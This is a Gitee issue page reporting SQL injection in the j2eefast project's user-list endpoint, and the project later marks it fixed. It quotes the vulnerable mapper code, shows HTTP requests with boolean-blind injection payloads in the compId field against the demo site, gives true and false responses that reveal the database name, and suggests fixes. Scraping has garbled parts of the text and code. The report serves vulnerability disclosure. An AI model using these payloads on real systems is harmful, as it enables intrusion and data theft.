

[Issues / 详情](#)

## sql injection security problems(sql 注入)

👍 Done #13BOFQ 👤 hipain 📅 Opened this issue 2021-03

Hello, I hava found that there two sql injetions in your pro  
program

first place: <http://demo.j2eefast.com/fast/sys/role/list> and  
second place <http://demo.j2eefast.com/fast/sys/role/auth>

## 1.how I found this vulnerability?

in the mapper file: src/main/resources/mapper/sys/SysUserMapper.xml you use `${}` join the sql statements.

```
</if>
<!-- No data sources are configured to run this SQL and provide advanced code assistance. Disable this
inspection via problem menu (Alt+Enter). -->
</if>
<!-- Configure data source: Alt+Shift+Enter More actions... Alt+Enter -->
AND u.status = #{status}
</if>
<!--
<!-- test="companyId != null and companyId != ''">
<!-- test="_databaseId == 'mysql'">AND (FIND_IN_SET(#{companyId},d.parent_ids)</if>
<!-- test="_databaseId == 'postgresql'">AND ('${companyId}' = ANY(STRING_TO_ARRAY(d.parent_ids, ','))
<!-- test="_databaseId == 'oracle'">AND (INSTR(','||d.parent_ids||',' , '${companyId}') > 0</if>
<!-- test="_databaseId == 'sqlserver'">AND (CHARINDEX(','+ '${companyId}+', ','+d.parent_ids+',') >
OR (u.dept_id = '${companyId}' AND u.del_flag = '0'))
</if>
<!-- test="deptId != null and deptId != ''">
<!-- choose>
<!-- when test="_databaseId == 'postgresql'">AND u.dept_id = '${deptId}'</when>
<!-- otherwise>AND u.dept_id = #{deptId}</otherwise>
<!-- choose>
```

'**{compld}**' is may be vulnerable to sql injection. And then I look into the file `src/main/java/com/f2eefast/framework/sys/service/SysUserService.java` and found that you use String to make it a string type. this leads to the sql injection.

```

    */
    @DataFilter(compAlias="c",deptAlias = "d",userAlias = "u")
    public PageUtil findPage(Map<String, Object> params) {
        String username = (String) params.get("username");
        String name = (String) params.get("name");
        String status = (String) params.get("status");
        String mobile = (String) params.get("mobile");
        String email = (String) params.get("email");
        String compId = (String) params.get("compId");
        String deptId = (String) params.get("deptId");
        Page<SysUserEntity> page = sysUserMapper.findPage(
            new Query<SysUserEntity>(params).get()
            StrUtil.nullToDefault(username, defaultUsername)
            StrUtil.nullToDefault(status, defaultStatus)
            StrUtil.nullToDefault(mobile, defaultMobile)
            StrUtil.nullToDefault(email, defaultEmail)
            StrUtil.nullToDefault(compId, defaultCompId)
            StrUtil.nullToDefault(deptId, defaultDeptId)
        );
    }
}

```

## 2.how to reproduce?

1. login with username 00008 and request people management function the request and response is:

```

1 POST /fast/sys/user/list HTTP/1.1
2 Host: demo.j2eeast.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
4 Gecko/20100101 Firefox/85.0
5 Accept: application/json, text/javascript, */*; q=0.01
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-CSRF-Token:
10 Z0glYzSMt4c0T9NTFjNg==YzhkYzM4MDY3ZDkNDAw0ESNNQSMt1YjM3MzFjMmE=
11 X-Requested-With: XMLHttpRequest
12 Content-Length: 90
13 Origin: http://demo.j2eeast.com
14 Connection: close
15
16 Referer: http://demo.j2eeast.com/fast/sys/user
17 Cookie: fast_session.id=c8dc38067d64009a95d917eb3731c2a; _secretKey=
18 Hm147d2b4c7cc4a5f803b7baf2fcca5e;
19 Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
20 Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615897768
21
22 ...
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24 ...limit=12&_page=iX_sidx=createTime&_order=asc&username=&email&
25 mobile=&compId=&status=
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Status

Done

## Assignees

Not set

### Labels

 BUG

## Milestones

No related milestones

## Pull Requests

🔧 修复 issues #13BOFQ sql注入问题

🔖 :bookmark: :bookmark: :bookmark: Releasing / Version tags. 2.5.0

Successfully merging a pull request will close this issue.

## Branches

No related branch

Planned to start - Planned to end

Unscheduled - Unscheduled

Top level

Not Top

Priority

Not specified

### 参与者 (2)



?





1'+or+length(database()))=6+and+'1'='1

#### Request

Pretty Raw In Actions

```
1 POST /fast/sys/user/list HTTP/1.1
2 Host: demo.j2eefast.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
4 Gecko/20100101 Firefox/85.0
5 Accept: application/json, text/javascript, */*; q=0.01
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-CSRF-Token:
10 ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzY2M0NDY3ZDdkNDAwOWESNWQ5MTdYjM3MzFjMmE=
11 X-Requested-With: XMLHttpRequest
12 Content-Length: 127
13 Origin: http://demo.j2eefast.com
14 Connection: close
15 Referer: http://demo.j2eefast.com/fast/sys/user
16 Cookie: fast.session.id=c8dc38067d704009a95d917eb3731c2a; _secretKey=
17 547fd2b4c7cc4a5f803b7baf2fccba5e;
18 Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
19 Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768
20
21 __limit=12&__page=1&__sid=createTime&__order=asc&username=&email=&
22 mobile=&compId=1'+or+length(database())=6+and+'1'='1&status=
```



#### Gitee 已支持 CLA 协议签署

👉 第三方功能集成，签署流程更高效  
👉 内置可自定义的协议模板  
👉 让开源贡献也能有据可依

View Details

```
{
  "pwdSecurityLevel": null,
  "mobile": "199****8978",
  "deptId": "1271250799447552002",
  "avatar": null,
  "compName": "天津子公司",
  "createTime": "2020-06-23 14:46:29",
  "compId": "1271250518156554241",
  "postName": null,
  "name": "赵云",
  "roleName": "普通员工",
  "postCode": null,
  "id": "1275319295974322177",
  "email": "1****38QQ.com",
  "username": "00008",
  "status": "0"
}
```

2. the first letter of database name is f

```
1 POST /fast/sys/user/list HTTP/1.1
2 Host: demo.j2eefast.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
4 Gecko/20100101 Firefox/85.0
5 Accept: application/json, text/javascript, */*; q=0.01
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-CSRF-Token:
10 ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzY2M0NDY3ZDdkNDAwOWESNWQ5MTdYjM3MzFjMmE=
11 X-Requested-With: XMLHttpRequest
12 Content-Length: 133
13 Origin: http://demo.j2eefast.com
14 Connection: close
15 Referer: http://demo.j2eefast.com/fast/sys/user
16 Cookie: fast.session.id=c8dc38067d704009a95d917eb3731c2a; _secretKey=
17 547fd2b4c7cc4a5f803b7baf2fccba5e;
18 Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
19 Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768
20
21 __limit=12&__page=1&__sid=createTime&__order=asc&username=&email=&
22 mobile=&compId=1'+or+substr(database(),1,1)='f'&and+'1'='1&status=
```

```
1 HTTP/1.1 200
2 Server: nginx
3 Date: Tue, 16 Mar 2021 12:39:48 GMT
4 Content-Type: application/json
5 Connection: close
6 vary: accept-encoding
7 Content-Length: 475
8
9 {
10   "msg": "SUCCESS",
11   "code": "00000",
12   "data": {
13     "currPage": 1,
14     "totalPage": 1,
15     "pageSize": 12,
16     "totalCount": 1,
17     "list": [
18       {
19         "deptName": "人事部",
20         "pwdSecurityLevel": null,
21         "mobile": "199****8978",
22         "deptId": "1271250799447552002",
23         "avatar": null,
24         "compName": "天津子公司",
25         "createTime": "2020-06-23 14:46:29",
26         "compId": "1271250518156554241",
27         "postName": null,
28         "name": "赵云",
29         "roleName": "普通员工",
30         "postCode": null,
31         "id": "1275319295974322177",
32         "email": "1****38QQ.com",
33         "username": "00008",
34         "status": "0"
35       }
36     ]
37   }
38 }
```

3. when the case is false, the info will be null.

```
1 POST /fast/sys/user/list HTTP/1.1
2 Host: demo.j2eefast.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
4 Gecko/20100101 Firefox/85.0
5 Accept: application/json, text/javascript, */*; q=0.01
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-CSRF-Token:
10 ZDg1YzY5MTc4OTY3NTFjNg==YzhkYzY2M0NDY3ZDdkNDAwOWESNWQ5MTdYjM3MzFjMmE=
11 X-Requested-With: XMLHttpRequest
12 Content-Length: 133
13 Origin: http://demo.j2eefast.com
14 Connection: close
15 Referer: http://demo.j2eefast.com/fast/sys/user
16 Cookie: fast.session.id=c8dc38067d704009a95d917eb3731c2a; _secretKey=
17 547fd2b4c7cc4a5f803b7baf2fccba5e;
18 Hm_lvt_d7168b0cef9904be9b675a22e48c5721=1615882420;
19 Hm_lpvt_d7168b0cef9904be9b675a22e48c5721=1615897768
20
21 __limit=12&__page=1&__sid=createTime&__order=asc&username=&email=&
22 mobile=&compId=1'+or+substr(database(),1,1)='x'&and+'1'='1&status=
```

```
1 HTTP/1.1 200
2 Server: nginx
3 Date: Tue, 16 Mar 2021 12:41:11 GMT
4 Content-Type: application/json
5 Connection: close
6 vary: accept-encoding
7 Content-Length: 115
8
9 {
10   "msg": "SUCCESS",
11   "code": "00000",
12   "data": {
13     "totalCount": "0",
14     "pageSize": "12",
15     "totalPage": "0",
16     "currPage": "1",
17     "list": [
18     ]
19   }
20 }
```

4. finally I found that the database name is fastdb.

### 3.how to repair?

1. use #{} but \${}
2. use type cast make compId a int type.

### 4.error info

Send Cancel < >

Request

Pretty Raw In Actions

```
1 POST /fast/sys/user/list HTTP/1.1
2 Host: demo.j2eefast.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0)
4 Gecko/20100101 Firefox/85.0
5 Accept: application/json, text/javascript, */*; q=0.01
```

Response

Pretty Raw Render In Actions

```
1 HTTP/1.1 500
2 Server: nginx
3 Date: Tue, 16 Mar 2021 12:45:39 GMT
4 Content-Type: application/json
5 Connection: close
```

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Query

Body I

Request

